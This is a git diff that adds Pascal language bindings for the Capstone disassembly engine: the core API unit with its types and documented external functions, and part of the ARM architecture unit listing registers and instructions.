0000000..85958bf --- /dev/null +++ b/Core/Capstone/CapstoneApi.pas @@ -0,0 +1,500 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} +unit CapstoneApi; +{ + capstone.h +} +{$SMARTLINK ON} +{$PackRecords C} + +interface + +uses + SysUtils,ctypes, CapstoneX86, CapstoneArm64, CapstoneArm, CapstoneMips, + CapstonePpc, CapstoneSparc, CapstoneSystemZ, CapstoneXCore; + + +{$ifdef darwin} + {$Link ../libraries/osx/libcapstone.a} +{$endif} +{$ifdef Linux} + {$Link ../libraries/linux/libcapstone.a} +{$endif} +{$ifdef windows} +const + {$IFDEF CPU64} + LIB_FILE = 'capstone64.dll'; + {$ELSE} + LIB_FILE = 'capstone32.dll'; + {$ENDIF} +{$endif} + +type + csh = NativeUInt; + Pcsh = ^csh; + + // Architecture type + cs_arch = ( + CS_ARCH_ARM = 0, // ARM architecture (including Thumb, Thumb-2) + CS_ARCH_ARM64, // ARM-64, also called AArch64 + CS_ARCH_MIPS, // Mips architecture + CS_ARCH_X86, // X86 architecture (including x86 & x86-64) + CS_ARCH_PPC, // PowerPC architecture + CS_ARCH_SPARC, // Sparc architecture + CS_ARCH_SYSZ, // SystemZ architecture + CS_ARCH_XCORE, // XCore architecture + CS_ARCH_MAX, + CS_ARCH_ALL = $FFFF // All architectures - for cs_support() + ); + +type + // Mode type + cs_mode = Cardinal; + +const + CS_MODE_LITTLE_ENDIAN = 0; // little-endian mode (default mode) + CS_MODE_ARM = 0; // 32-bit ARM + CS_MODE_16 = 1 shl 1; // 16-bit mode (X86) + CS_MODE_32 = 1 shl 2; // 32-bit mode (X86) + CS_MODE_64 = 1 shl 3; // 64-bit mode (X86, PPC) + CS_MODE_THUMB = 1 shl 4; // ARM's Thumb mode, including Thumb-2 + CS_MODE_MCLASS = 1 shl 5; // ARM's Cortex-M series + CS_MODE_V8 = 1 shl 6; // ARMv8 A32 encodings for ARM + CS_MODE_MICRO = 1 shl 4; // MicroMips mode (MIPS) + CS_MODE_MIPS3 = 1 shl 5; // Mips III ISA + CS_MODE_MIPS32R6 = 1 shl 6; // Mips32r6 ISA + CS_MODE_MIPSGP64 = 1 shl 7; // General Purpose Registers are 64-bit wide (MIPS) + CS_MODE_V9 = 1 shl 4; // SparcV9 mode (Sparc) + CS_MODE_BIG_ENDIAN = 1 shl 31; // big-endian mode + CS_MODE_MIPS32 = CS_MODE_32; // Mips32 ISA (Mips) + CS_MODE_MIPS64 = CS_MODE_64; // Mips64 ISA (Mips) + +type + // Runtime option for the disassembled engine + cs_opt_type = ( + CS_OPT_SYNTAX = 1, // Asssembly output syntax + CS_OPT_DETAIL, // Break down instruction structure into details + CS_OPT_MODE, // Change engine's mode at run-time + CS_OPT_MEM, // User-defined dynamic memory related functions + CS_OPT_SKIPDATA, // Skip data when disassembling. Then engine is in SKIPDATA mode. + CS_OPT_SKIPDATA_SETUP // Setup user-defined function for SKIPDATA option + ); + + // Runtime option value (associated with option type above) + cs_opt_value = ( + CS_OPT_OFF = 0, // Turn OFF an option - default option of CS_OPT_DETAIL, CS_OPT_SKIPDATA. + CS_OPT_ON = 3, // Turn ON an option (CS_OPT_DETAIL, CS_OPT_SKIPDATA). + CS_OPT_SYNTAX_DEFAULT = 0, // Default asm syntax (CS_OPT_SYNTAX). + CS_OPT_SYNTAX_INTEL, // X86 Intel asm syntax - default on X86 (CS_OPT_SYNTAX). + CS_OPT_SYNTAX_ATT, // X86 ATT asm syntax (CS_OPT_SYNTAX). + CS_OPT_SYNTAX_NOREGNAME // Prints register name with only number (CS_OPT_SYNTAX) + ); + + //> Common instruction operand types - to be consistent across all architectures. + cs_op_type = ( + CS_OP_INVALID = 0, // uninitialized/invalid operand. + CS_OP_REG, // Register operand. + CS_OP_IMM, // Immediate operand. + CS_OP_MEM, // Memory operand. + CS_OP_FP // Floating-Point operand. + ); + + //> Common instruction groups - to be consistent across all architectures. + cs_group_type = ( + CS_GRP_INVALID = 0, // uninitialized/invalid group. + CS_GRP_JUMP, // all jump instructions (conditional+direct+indirect jumps) + CS_GRP_CALL, // all call instructions + CS_GRP_RET, // all return instructions + CS_GRP_INT, // all interrupt instructions (int+syscall) + CS_GRP_IRET // all interrupt return instructions + ); + + cs_detail = record + regs_read: array[0..11] of Byte; + regs_read_count: Byte; + + regs_write: array[0..19] of Byte; + regs_write_count: Byte; + + groups: array[0..7] of Byte; + groups_count: Byte; + + // Architecture-specific instruction info + case Byte of + 0: (x86: cs_x86); + 1: (arm64: cs_arm64); + 2: (arm: cs_arm); + 3: (mips: cs_mips); + 4: (ppc: cs_ppc); + 5: (sparc: cs_sparc); + 6: (sysz: cs_sysz); + 7: (xcore: cs_xcore); + end; + + cs_insn = record + id: cuint; + address: cuint64; + size: cuint16; + bytes: array[0..15] of Byte; + mnemonic: array[0..31] of AnsiChar; + op_str: array[0..159] of AnsiChar; + detail: ^cs_detail; + end; + Pcs_insn = ^cs_insn; + + // All type of errors encountered by Capstone API. + // These are values returned by cs_errno() + cs_err = ( + CS_ERR_OK = 0, // No error: everything was fine + CS_ERR_MEM, // Out-Of-Memory error: cs_open(), cs_disasm(), cs_disasm_iter() + CS_ERR_ARCH, // Unsupported architecture: cs_open() + CS_ERR_HANDLE, // Invalid handle: cs_op_count(), cs_op_index() + CS_ERR_CSH, // Invalid csh argument: cs_close(), cs_errno(), cs_option() + CS_ERR_MODE, // Invalid/unsupported mode: cs_open() + CS_ERR_OPTION, // Invalid/unsupported option: cs_option() + CS_ERR_DETAIL, // Information is unavailable because detail option is OFF + CS_ERR_MEMSETUP, // Dynamic memory management uninitialized (see CS_OPT_MEM) + CS_ERR_VERSION, // Unsupported version (bindings) + CS_ERR_DIET, // Access irrelevant data in "diet" engine + CS_ERR_SKIPDATA, // Access irrelevant data for "data" instruction in SKIPDATA mode + CS_ERR_X86_ATT, // X86 AT&T syntax is unsupported (opt-out at compile time) + CS_ERR_X86_INTEL // X86 Intel syntax is unsupported (opt-out at compile time) + ); + +{ + Return combined API version & major and minor version numbers. + + @major: major number of API version + @minor: minor number of API version + + @return hexical number as (major << 8 | minor), which encodes both + major & minor versions. + NOTE: This returned value can be compared with version number made + with macro CS_MAKE_VERSION + + For example, second API version would return 1 in @major, and 1 in @minor + The return value would be 0x0101 + + NOTE: if you only care about returned value, but not major and minor values, + set both @major & @minor arguments to NULL. +} +function cs_version(var major, minor: integer): Cardinal; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + This API can be used to either ask for archs supported by this library, + or check to see if the library was compile with 'diet' option (or called + in 'diet' mode). + + To check if a particular arch is supported by this library, set @query to + arch mode (CS_ARCH_* value). + To verify if this library supports all the archs, use CS_ARCH_ALL. + + To check if this library is in 'diet' mode, set @query to CS_SUPPORT_DIET. + + @return True if this library supports the given arch, or in 'diet' mode. +} +function cs_support(query: integer): boolean; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Initialize CS handle: this must be done before any usage of CS. + + @arch: architecture type (CS_ARCH_*) + @mode: hardware mode. This is combined of CS_MODE_* + @handle: pointer to handle, which will be updated at return time + + @return CS_ERR_OK on success, or other value on failure (refer to cs_err enum + for detailed error). +} +function cs_open(arch: Cardinal; mode: Cardinal; handle: Pcsh): cs_err; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Close CS handle: MUST do to release the handle when it is not used anymore. + NOTE: this must be only called when there is no longer usage of Capstone, + not even access to cs_insn array. The reason is the this API releases some + cached memory, thus access to any Capstone API after cs_close() might crash + your application. + + In fact,this API invalidate @handle by ZERO out its value (i.e *handle = 0). + + @handle: pointer to a handle returned by cs_open() + + @return CS_ERR_OK on success, or other value on failure (refer to cs_err enum + for detailed error). +} +function cs_close(var handle: csh): cs_err; cdecl; external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Set option for disassembling engine at runtime + + @handle: handle returned by cs_open() + @type: type of option to be set + @value: option value corresponding with @type + + @return: CS_ERR_OK on success, or other value on failure. + Refer to cs_err enum for detailed error. + + NOTE: in the case of CS_OPT_MEM, handle's value can be anything, + so that cs_option(handle, CS_OPT_MEM, value) can (i.e must) be called + even before cs_open() +} +function cs_option(handle: csh; _type: cs_opt_type; value: NativeUInt): cs_err; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Report the last error number when some API function fail. + Like glibc's errno, cs_errno might not retain its old value once accessed. + + @handle: handle returned by cs_open() + + @return: error code of cs_err enum type (CS_ERR_*, see above) +} +function cs_errno(handle: csh): cs_err; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Return a string describing given error code. + + @code: error code (see CS_ERR_* above) + + @return: returns a pointer to a string that describes the error code + passed in the argument @code +} +function cs_strerror(code: cs_err): PansiChar; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Disassemble binary code, given the code buffer, size, address and number + of instructions to be decoded. + This API dynamicly allocate memory to contain disassembled instruction. + Resulted instructions will be put into @*insn + + NOTE 1: this API will automatically determine memory needed to contain + output disassembled instructions in @insn. + + NOTE 2: caller must free the allocated memory itself to avoid memory leaking. + + NOTE 3: for system with scarce memory to be dynamically allocated such as + OS kernel or firmware, the API cs_disasm_iter() might be a better choice than + cs_disasm(). The reason is that with cs_disasm(), based on limited available + memory, we have to calculate in advance how many instructions to be disassembled, + which complicates things. This is especially troublesome for the case @count=0, + when cs_disasm() runs uncontrolly (until either end of input buffer, or + when it encounters an invalid instruction). + + @handle: handle returned by cs_open() + @code: buffer containing raw binary code to be disassembled. + @code_size: size of the above code buffer. + @address: address of the first instruction in given raw code buffer. + @insn: array of instructions filled in by this API. + NOTE: @insn will be allocated by this function, and should be freed + with cs_free() API. + @count: number of instrutions to be disassembled, or 0 to get all of them + + @return: the number of succesfully disassembled instructions, + or 0 if this function failed to disassemble the given code + + On failure, call cs_errno() for error code. +} +function cs_disasm(handle: csh; + const code: Pointer; size: NativeUInt; + address: UInt64; + count: NativeUInt; + var insn: array of Pcs_insn): NativeUInt; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Free memory allocated by cs_malloc() or cs_disasm() (argument @insn) + + @insn: pointer returned by @insn argument in cs_disasm() or cs_malloc() + @count: number of cs_insn structures returned by cs_disasm(), or 1 + to free memory allocated by cs_malloc(). +} +procedure cs_free(insn: Pcs_insn; count: NativeUInt); cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Allocate memory for 1 instruction to be used by cs_disasm_iter(). + + @handle: handle returned by cs_open() + + NOTE: when no longer in use, you can reclaim the memory allocated for + this instruction with cs_free(insn, 1) +} +function cs_malloc(handle: csh): Pcs_insn; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Fast API to disassemble binary code, given the code buffer, size, address + and number of instructions to be decoded. + This API put the resulted instruction into a given cache in @insn. + See tests/test_iter.c for sample code demonstrating this API. + + NOTE 1: this API will update @code, @size & @address to point to the next + instruction in the input buffer. Therefore, it is covenient to use + cs_disasm_iter() inside a loop to quickly iterate all the instructions. + While decoding one instruction at a time can also be achieved with + cs_disasm(count=1), some benchmarks shown that cs_disasm_iter() can be 30% + faster on random input. + + NOTE 2: the cache in @insn can be created with cs_malloc() API. + + NOTE 3: for system with scarce memory to be dynamically allocated such as + OS kernel or firmware, this API is recommended over cs_disasm(), which + allocates memory based on the number of instructions to be disassembled. + The reason is that with cs_disasm(), based on limited available memory, + we have to calculate in advance how many instructions to be disassembled, + which complicates things. This is especially troublesome for the case + @count=0, when cs_disasm() runs uncontrolly (until either end of input + buffer, or when it encounters an invalid instruction). + + @handle: handle returned by cs_open() + @code: buffer containing raw binary code to be disassembled + @code_size: size of above code + @address: address of the first insn in given raw code buffer + @insn: pointer to instruction to be filled in by this API. + + @return: true if this API successfully decode 1 instruction, + or false otherwise. + + On failure, call cs_errno() for error code. +} +function cs_disasm_iter(handle: csh; + var code: Pointer; var size: NativeUInt; + var address: UInt64; insn: Pcs_insn): boolean; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Return friendly name of regiser in a string. + Find the instruction id from header file of corresponding architecture (arm.h for ARM, + x86.h for X86, ...) + + WARN: when in 'diet' mode, this API is irrelevant because engine does not + store register name. + + @handle: handle returned by cs_open() + @reg_id: register id + + @return: string name of the register, or NULL if @reg_id is invalid. +} +function cs_reg_name(handle: csh; reg_id: Cardinal): PAnsiChar; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Return friendly name of an instruction in a string. + Find the instruction id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + store instruction name. + + @handle: handle returned by cs_open() + @insn_id: instruction id + + @return: string name of the instruction, or NULL if @insn_id is invalid. +} +function cs_insn_name(handle: csh; insn_id: Cardinal): PAnsiChar; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Return friendly name of a group id (that an instruction can belong to) + Find the group id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + store group name. + + @handle: handle returned by cs_open() + @group_id: group id + + @return: string name of the group, or NULL if @group_id is invalid. +} +function cs_group_name(handle: csh; group_id: Cardinal): PAnsiChar; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Check if a disassembled instruction belong to a particular group. + Find the group id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + Internally, this simply verifies if @group_id matches any member of insn->groups array. + + NOTE: this API is only valid when detail option is ON (which is OFF by default). + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + update @groups array. + + @handle: handle returned by cs_open() + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @group_id: group that you want to check if this instruction belong to. + + @return: true if this instruction indeed belongs to aboved group, or false otherwise. +} +function cs_insn_group(handle: csh; const insn: Pcs_insn; group_id: Cardinal): boolean; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Check if a disassembled instruction IMPLICITLY used a particular register. + Find the register id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + Internally, this simply verifies if @reg_id matches any member of insn->regs_read array. + + NOTE: this API is only valid when detail option is ON (which is OFF by default) + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + update @regs_read array. + + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @reg_id: register that you want to check if this instruction used it. + + @return: true if this instruction indeed implicitly used aboved register, or false otherwise. +} +function cs_reg_read(handle: csh; const insn: Pcs_insn; reg_id: Cardinal): boolean; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Check if a disassembled instruction IMPLICITLY modified a particular register. + Find the register id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + Internally, this simply verifies if @reg_id matches any member of insn->regs_write array. + + NOTE: this API is only valid when detail option is ON (which is OFF by default) + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + update @regs_write array. + + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @reg_id: register that you want to check if this instruction modified it. + + @return: true if this instruction indeed implicitly modified aboved register, or false otherwise. +} +function cs_reg_write(handle: csh; const insn: Pcs_insn; reg_id: Cardinal): boolean; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Count the number of operands of a given type. + Find the operand type in header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + + NOTE: this API is only valid when detail option is ON (which is OFF by default) + + @handle: handle returned by cs_open() + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @op_type: Operand type to be found. + + @return: number of operands of given type @op_type in instruction @insn, + or -1 on failure. +} +function cs_op_count(handle: csh; const insn: Pcs_insn; op_type: Cardinal): integer; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +{ + Retrieve the position of operand of given type in <arch>.operands[] array. + Later, the operand can be accessed using the returned position. + Find the operand type in header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + + NOTE: this API is only valid when detail option is ON (which is OFF by default) + + @handle: handle returned by cs_open() + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @op_type: Operand type to be found. + @position: position of the operand to be found. This must be in the range + [1, cs_op_count(handle, insn, op_type)] + + @return: index of operand of given type @op_type in <arch>.operands[] array + in instruction @insn, or -1 on failure. +} +function cs_op_index(handle: csh; const insn: Pcs_insn; op_type: Cardinal; position: Cardinal): integer; cdecl external {$ifdef windows}LIB_FILE{$ENDIF}; + +// Calculate relative address for X86-64, given cs_insn structure +function X86_REL_ADDR(insn: cs_insn): UInt64; + +implementation + +function X86_REL_ADDR(insn: cs_insn): UInt64; +begin + Result := insn.address + insn.size + insn.detail^.x86.disp; +end; + +end. diff --git a/Core/Capstone/CapstoneArm.pas b/Core/Capstone/CapstoneArm.pas new file mode 100755 index 0000000..a65a7c2 --- /dev/null +++ b/Core/Capstone/CapstoneArm.pas @@ -0,0 +1,870 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit CapstoneArm; +{ + arm.h +} + +interface + +type + //> ARM shift type + arm_shifter = ( + ARM_SFT_INVALID = 0, + ARM_SFT_ASR, // shift with immediate const + ARM_SFT_LSL, // shift with immediate const + ARM_SFT_LSR, // shift with immediate const + ARM_SFT_ROR, // shift with immediate const + ARM_SFT_RRX, // shift with immediate const + ARM_SFT_ASR_REG, // shift with register + ARM_SFT_LSL_REG, // shift with register + ARM_SFT_LSR_REG, // shift with register + ARM_SFT_ROR_REG, // shift with register + ARM_SFT_RRX_REG // shift with register + ); + + //> ARM condition code + arm_cc = ( + ARM_CC_INVALID = 0, + ARM_CC_EQ, // Equal Equal + ARM_CC_NE, // Not equal Not equal, or unordered + ARM_CC_HS, // Carry set >, ==, or unordered + ARM_CC_LO, // Carry clear Less than + ARM_CC_MI, // Minus, negative Less than + ARM_CC_PL, // Plus, positive or zero >, ==, or unordered + ARM_CC_VS, // Overflow Unordered + ARM_CC_VC, // No overflow Not unordered + ARM_CC_HI, // Unsigned higher Greater than, or unordered + ARM_CC_LS, // Unsigned lower or same Less than or equal + ARM_CC_GE, // Greater than or equal Greater than or equal + ARM_CC_LT, // Less than Less than, or unordered + ARM_CC_GT, // Greater than Greater than + ARM_CC_LE, // Less than or equal <, ==, or unordered + ARM_CC_AL // Always (unconditional) Always (unconditional) + ); + + arm_sysreg = ( + //> Special registers for MSR + ARM_SYSREG_INVALID = 0, + + // SPSR* registers can be OR combined + ARM_SYSREG_SPSR_C = 1, + ARM_SYSREG_SPSR_X = 2, + ARM_SYSREG_SPSR_S = 4, + ARM_SYSREG_SPSR_F = 8, + + // CPSR* registers can be OR combined + ARM_SYSREG_CPSR_C = 16, + ARM_SYSREG_CPSR_X = 32, + ARM_SYSREG_CPSR_S = 64, + ARM_SYSREG_CPSR_F = 128, + + // independent registers + ARM_SYSREG_APSR = 256, + ARM_SYSREG_APSR_G, + ARM_SYSREG_APSR_NZCVQ, + ARM_SYSREG_APSR_NZCVQG, + + ARM_SYSREG_IAPSR, + ARM_SYSREG_IAPSR_G, + ARM_SYSREG_IAPSR_NZCVQG, + + ARM_SYSREG_EAPSR, + ARM_SYSREG_EAPSR_G, + ARM_SYSREG_EAPSR_NZCVQG, + + ARM_SYSREG_XPSR, + ARM_SYSREG_XPSR_G, + ARM_SYSREG_XPSR_NZCVQG, + + ARM_SYSREG_IPSR, + ARM_SYSREG_EPSR, + ARM_SYSREG_IEPSR, + + ARM_SYSREG_MSP, + ARM_SYSREG_PSP, + ARM_SYSREG_PRIMASK, + ARM_SYSREG_BASEPRI, + ARM_SYSREG_BASEPRI_MAX, + ARM_SYSREG_FAULTMASK, + ARM_SYSREG_CONTROL + ); + + //> The memory barrier constants map directly to the 4-bit encoding of + //> the option field for Memory Barrier operations. + arm_mem_barrier = ( + ARM_MB_INVALID = 0, + ARM_MB_RESERVED_0, + ARM_MB_OSHLD, + ARM_MB_OSHST, + ARM_MB_OSH, + ARM_MB_RESERVED_4, + ARM_MB_NSHLD, + ARM_MB_NSHST, + ARM_MB_NSH, + ARM_MB_RESERVED_8, + ARM_MB_ISHLD, + ARM_MB_ISHST, + ARM_MB_ISH, + ARM_MB_RESERVED_12, + ARM_MB_LD, + ARM_MB_ST, + ARM_MB_SY + ); + + //> Operand type for instruction's operands + arm_op_type = ( + ARM_OP_INVALID = 0, // = CS_OP_INVALID (Uninitialized). + ARM_OP_REG, // = CS_OP_REG (Register operand). + ARM_OP_IMM, // = CS_OP_IMM (Immediate operand). + ARM_OP_MEM_, // = CS_OP_MEM (Memory operand). + ARM_OP_FP, // = CS_OP_FP (Floating-Point operand). + ARM_OP_CIMM = 64, // C-Immediate (coprocessor registers) + ARM_OP_PIMM, // P-Immediate (coprocessor registers) + ARM_OP_SETEND, // operand for SETEND instruction + ARM_OP_SYSREG // MSR/MSR special register operand + ); + + //> Operand type for SETEND instruction + arm_setend_type = ( + ARM_SETEND_INVALID = 0, // Uninitialized. + ARM_SETEND_BE, // BE operand. + ARM_SETEND_LE // LE operand + ); + + arm_cpsmode_type = ( + ARM_CPSMODE_INVALID = 0, + ARM_CPSMODE_IE = 2, + ARM_CPSMODE_ID = 3 + ); + + //> Operand type for SETEND instruction + arm_cpsflag_type = ( + ARM_CPSFLAG_INVALID = 0, + ARM_CPSFLAG_F = 1, + ARM_CPSFLAG_I = 2, + ARM_CPSFLAG_A = 4, + ARM_CPSFLAG_NONE = 16 // no flag + ); + + //> Data type for elements of vector instructions. + arm_vectordata_type = ( + ARM_VECTORDATA_INVALID = 0, + + // Integer type + ARM_VECTORDATA_I8, + ARM_VECTORDATA_I16, + ARM_VECTORDATA_I32, + ARM_VECTORDATA_I64, + + // Signed integer type + ARM_VECTORDATA_S8, + ARM_VECTORDATA_S16, + ARM_VECTORDATA_S32, + ARM_VECTORDATA_S64, + + // Unsigned integer type + ARM_VECTORDATA_U8, + ARM_VECTORDATA_U16, + ARM_VECTORDATA_U32, + ARM_VECTORDATA_U64, + + // Data type for VMUL/VMULL + ARM_VECTORDATA_P8, + + // Floating type + ARM_VECTORDATA_F32, + ARM_VECTORDATA_F64, + + // Convert float <-> float + ARM_VECTORDATA_F16F64, // f16.f64 + ARM_VECTORDATA_F64F16, // f64.f16 + ARM_VECTORDATA_F32F16, // f32.f16 + ARM_VECTORDATA_F16F32, // f32.f16 + ARM_VECTORDATA_F64F32, // f64.f32 + ARM_VECTORDATA_F32F64, // f32.f64 + + // Convert integer <-> float + ARM_VECTORDATA_S32F32, // s32.f32 + ARM_VECTORDATA_U32F32, // u32.f32 + ARM_VECTORDATA_F32S32, // f32.s32 + ARM_VECTORDATA_F32U32, // f32.u32 + ARM_VECTORDATA_F64S16, // f64.s16 + ARM_VECTORDATA_F32S16, // f32.s16 + ARM_VECTORDATA_F64S32, // f64.s32 + ARM_VECTORDATA_S16F64, // s16.f64 + ARM_VECTORDATA_S16F32, // s16.f64 + ARM_VECTORDATA_S32F64, // s32.f64 + ARM_VECTORDATA_U16F64, // u16.f64 + ARM_VECTORDATA_U16F32, // u16.f32 + ARM_VECTORDATA_U32F64, // u32.f64 + ARM_VECTORDATA_F64U16, // f64.u16 + ARM_VECTORDATA_F32U16, // f32.u16 + ARM_VECTORDATA_F64U32 // f64.u32 + ); + + // Instruction's operand referring to memory + // This is associated with ARM_OP_MEM operand type above + arm_op_mem = record + base: Cardinal; + index: Cardinal; + scale: integer; + disp: Integer; + end; + + // Instruction operand + __cs_arm_op = record + vector_index: integer; + shift: record + _type: arm_shifter; + value: Cardinal; + end; + _type: arm_op_type; + case Integer of + 0: (reg: Cardinal); + 1: (imm: Integer); + 2: (fp: Double); + 3: (mem: arm_op_mem); + 4: (setend: arm_setend_type); + end; + cs_arm_op = record + op: __cs_arm_op; + subtracted: boolean; + end; + + cs_arm = record + usermode: boolean; + vector_size: integer; + vector_data: arm_vectordata_type; + cps_mode: arm_cpsmode_type; + cps_flag: arm_cpsflag_type; + cc: arm_cc; + update_flags: boolean; + writeback: boolean; + mem_barrier: arm_mem_barrier; + op_count: Byte; + operands: array[0..35] of cs_arm_op; + end; + + //> ARM registers + arm_reg = ( + ARM_REG_INVALID = 0, + ARM_REG_APSR, + ARM_REG_APSR_NZCV, + ARM_REG_CPSR, + ARM_REG_FPEXC, + ARM_REG_FPINST, + ARM_REG_FPSCR, + ARM_REG_FPSCR_NZCV, + ARM_REG_FPSID, + ARM_REG_ITSTATE, + ARM_REG_LR, + ARM_REG_PC, + ARM_REG_SP, + ARM_REG_SPSR, + ARM_REG_D0, + ARM_REG_D1, + ARM_REG_D2, + ARM_REG_D3, + ARM_REG_D4, + ARM_REG_D5, + ARM_REG_D6, + ARM_REG_D7, + ARM_REG_D8, + ARM_REG_D9, + ARM_REG_D10, + ARM_REG_D11, + ARM_REG_D12, + ARM_REG_D13, + ARM_REG_D14, + ARM_REG_D15, + ARM_REG_D16, + ARM_REG_D17, + ARM_REG_D18, + ARM_REG_D19, + ARM_REG_D20, + ARM_REG_D21, + ARM_REG_D22, + ARM_REG_D23, + ARM_REG_D24, + ARM_REG_D25, + ARM_REG_D26, + ARM_REG_D27, + ARM_REG_D28, + ARM_REG_D29, + ARM_REG_D30, + ARM_REG_D31, + ARM_REG_FPINST2, + ARM_REG_MVFR0, + ARM_REG_MVFR1, + ARM_REG_MVFR2, + ARM_REG_Q0, + ARM_REG_Q1, + ARM_REG_Q2, + ARM_REG_Q3, + ARM_REG_Q4, + ARM_REG_Q5, + ARM_REG_Q6, + ARM_REG_Q7, + ARM_REG_Q8, + ARM_REG_Q9, + ARM_REG_Q10, + ARM_REG_Q11, + ARM_REG_Q12, + ARM_REG_Q13, + ARM_REG_Q14, + ARM_REG_Q15, + ARM_REG_R0, + ARM_REG_R1, + ARM_REG_R2, + ARM_REG_R3, + ARM_REG_R4, + ARM_REG_R5, + ARM_REG_R6, + ARM_REG_R7, + ARM_REG_R8, + ARM_REG_R9, + ARM_REG_R10, + ARM_REG_R11, + ARM_REG_R12, + ARM_REG_S0, + ARM_REG_S1, + ARM_REG_S2, + ARM_REG_S3, + ARM_REG_S4, + ARM_REG_S5, + ARM_REG_S6, + ARM_REG_S7, + ARM_REG_S8, + ARM_REG_S9, + ARM_REG_S10, + ARM_REG_S11, + ARM_REG_S12, + ARM_REG_S13, + ARM_REG_S14, + ARM_REG_S15, + ARM_REG_S16, + ARM_REG_S17, + ARM_REG_S18, + ARM_REG_S19, + ARM_REG_S20, + ARM_REG_S21, + ARM_REG_S22, + ARM_REG_S23, + ARM_REG_S24, + ARM_REG_S25, + ARM_REG_S26, + ARM_REG_S27, + ARM_REG_S28, + ARM_REG_S29, + ARM_REG_S30, + ARM_REG_S31, + + ARM_REG_ENDING, // <-- mark the end of the list or registers + + //> alias registers + ARM_REG_R13 = ARM_REG_SP, + ARM_REG_R14 = ARM_REG_LR, + ARM_REG_R15 = ARM_REG_PC, + + ARM_REG_SB = ARM_REG_R9, + ARM_REG_SL = ARM_REG_R10, + ARM_REG_FP = ARM_REG_R11, + ARM_REG_IP = ARM_REG_R12 + ); + + //> ARM instruction + arm_insn = ( + ARM_INS_INVALID = 0, + + ARM_INS_ADC, + ARM_INS_ADD, + ARM_INS_ADR, + ARM_INS_AESD, + ARM_INS_AESE, + ARM_INS_AESIMC, + ARM_INS_AESMC, + ARM_INS_AND, + ARM_INS_BFC, + ARM_INS_BFI, + ARM_INS_BIC, + ARM_INS_BKPT, + ARM_INS_BL, + ARM_INS_BLX, + ARM_INS_BX, + ARM_INS_BXJ, + ARM_INS_B, + ARM_INS_CDP, + ARM_INS_CDP2, + ARM_INS_CLREX, + ARM_INS_CLZ, + ARM_INS_CMN, + ARM_INS_CMP, + ARM_INS_CPS, + ARM_INS_CRC32B, + ARM_INS_CRC32CB, + ARM_INS_CRC32CH, + ARM_INS_CRC32CW, + ARM_INS_CRC32H, + ARM_INS_CRC32W, + ARM_INS_DBG, + ARM_INS_DMB, + ARM_INS_DSB, + ARM_INS_EOR, + ARM_INS_VMOV, + ARM_INS_FLDMDBX, + ARM_INS_FLDMIAX, + ARM_INS_VMRS, + ARM_INS_FSTMDBX, + ARM_INS_FSTMIAX, + ARM_INS_HINT, + ARM_INS_HLT, + ARM_INS_ISB, + ARM_INS_LDA, + ARM_INS_LDAB, + ARM_INS_LDAEX, + ARM_INS_LDAEXB, + ARM_INS_LDAEXD, + ARM_INS_LDAEXH, + ARM_INS_LDAH, + ARM_INS_LDC2L, + ARM_INS_LDC2, + ARM_INS_LDCL, + ARM_INS_LDC, + ARM_INS_LDMDA, + ARM_INS_LDMDB, + ARM_INS_LDM, + ARM_INS_LDMIB, + ARM_INS_LDRBT, + ARM_INS_LDRB, + ARM_INS_LDRD, + ARM_INS_LDREX, + ARM_INS_LDREXB, + ARM_INS_LDREXD, + ARM_INS_LDREXH, + ARM_INS_LDRH, + ARM_INS_LDRHT, + ARM_INS_LDRSB, + ARM_INS_LDRSBT, + ARM_INS_LDRSH, + ARM_INS_LDRSHT, + ARM_INS_LDRT, + ARM_INS_LDR, + ARM_INS_MCR, + ARM_INS_MCR2, + ARM_INS_MCRR, + ARM_INS_MCRR2, + ARM_INS_MLA, + ARM_INS_MLS, + ARM_INS_MOV, + ARM_INS_MOVT, + ARM_INS_MOVW, + ARM_INS_MRC, + ARM_INS_MRC2, + ARM_INS_MRRC, + ARM_INS_MRRC2, + ARM_INS_MRS, + ARM_INS_MSR, + ARM_INS_MUL, + ARM_INS_MVN, + ARM_INS_ORR, + ARM_INS_PKHBT, + ARM_INS_PKHTB, + ARM_INS_PLDW, + ARM_INS_PLD, + ARM_INS_PLI, + ARM_INS_QADD, + ARM_INS_QADD16, + 